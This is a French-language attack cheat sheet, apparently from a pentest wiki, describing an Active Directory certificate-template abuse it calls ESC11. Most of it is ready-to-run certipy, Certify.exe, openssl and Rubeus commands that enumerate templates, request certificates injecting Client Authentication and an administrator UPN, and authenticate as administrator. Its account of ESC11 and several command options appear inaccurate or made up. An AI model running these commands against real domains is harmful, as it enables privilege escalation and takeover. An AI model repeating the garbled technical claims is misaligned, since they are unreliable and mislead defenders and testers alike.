### Description
ESC11 exploite des modèles de certificats qui utilisent l'option `IF_EMPTY` dans la configuration `msPKI-Certificate-Application-Policy`, permettant à un utilisateur de spécifier des politiques d'application arbitraires si aucune n'est définie, contournant ainsi les restrictions d'usage prévues et permettant l'authentification client même sur des templates non prévus à cet effet.
### Conditions vulnérables
Un modèle de certificat est vulnérable à ESC11 si :
1. **Configuration IF_EMPTY** - Le modèle a `msPKI-Certificate-Application-Policy` configuré avec l'option `IF_EMPTY`
2. **Politiques d'application non définies** - Aucune politique d'application spécifique n'est forcée
3. **Enrollment autorisé** - L'utilisateur a les droits `Enroll` ou `AutoEnroll`
4. **Possibilité d'injection de politiques** - L'utilisateur peut spécifier des politiques d'application lors de la demande
---
### Exploitation depuis linux (certipy)
Enumération des templates vulnérables :
```bash
certipy find -u
[email protected] -p password -target dc01.domain.local
# Énumération avec sortie JSON pour analyse des politiques d'application
certipy find -u
[email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json
# Recherche spécifique des templates avec IF_EMPTY
certipy find -u
[email protected] -p password -target dc01.domain.local -vulnerable | grep -A10 -B5 "IF_EMPTY\|Application Policy"
```
Exploitation avec injection de politique d'authentification :
```bash
# Demande d'un certificat en spécifiant Client Authentication
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'IfEmptyTemplate' -key-usage "DigitalSignature,KeyEncipherment" -extended-key-usage "1.3.6.1.5.5.7.3.2"
# Avec SAN si le template le permet également
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'IfEmptyTemplate' -upn
[email protected] -extended-key-usage "1.3.6.1.5.5.7.3.2"
```
Authentification avec le certificat modifié :
```bash
# Authentification avec le certificat contenant Client Authentication
certipy auth -pfx user.pfx -username user -domain domain.local -dc-ip 192.168.1.10
# Si SAN a pu être injecté
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip 192.168.1.10
```
---
### Exploitation depuis windows (certify.exe)
Enumération des templates vulnérables :
```powershell
# Énumération des modèles vulnérables
Certify.exe find /vulnerable
# Filtrage spécifique ESC11
Certify.exe find /vulnerable | findstr "IF_EMPTY\|Application Policy"
# Vérification manuelle des politiques d'application
Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * | Where-Object {
$_.'msPKI-Certificate-Application-Policy' -match "IF_EMPTY"
} | Select-Object Name, 'msPKI-Certificate-Application-Policy'
```
Exploitation du template vulnérable :
```powershell
# Demande d'un certificat en injectant Client Authentication EKU
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:IfEmptyTemplate /eku:"1.3.6.1.5.5.7.3.2"
# Combiné avec d'autres options si possible
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:IfEmptyTemplate /eku:"1.3.6.1.5.5.7.3.2" /altname:
[email protected]
```
Authentification avec le certificat obtenu :
```powershell
# Conversion du certificat si nécessaire
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Authentification avec le certificat
Rubeus.exe asktgt /user:user /certificate:cert.pfx /password:password123 /ptt
# Si escalation réussie
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:password123 /ptt
```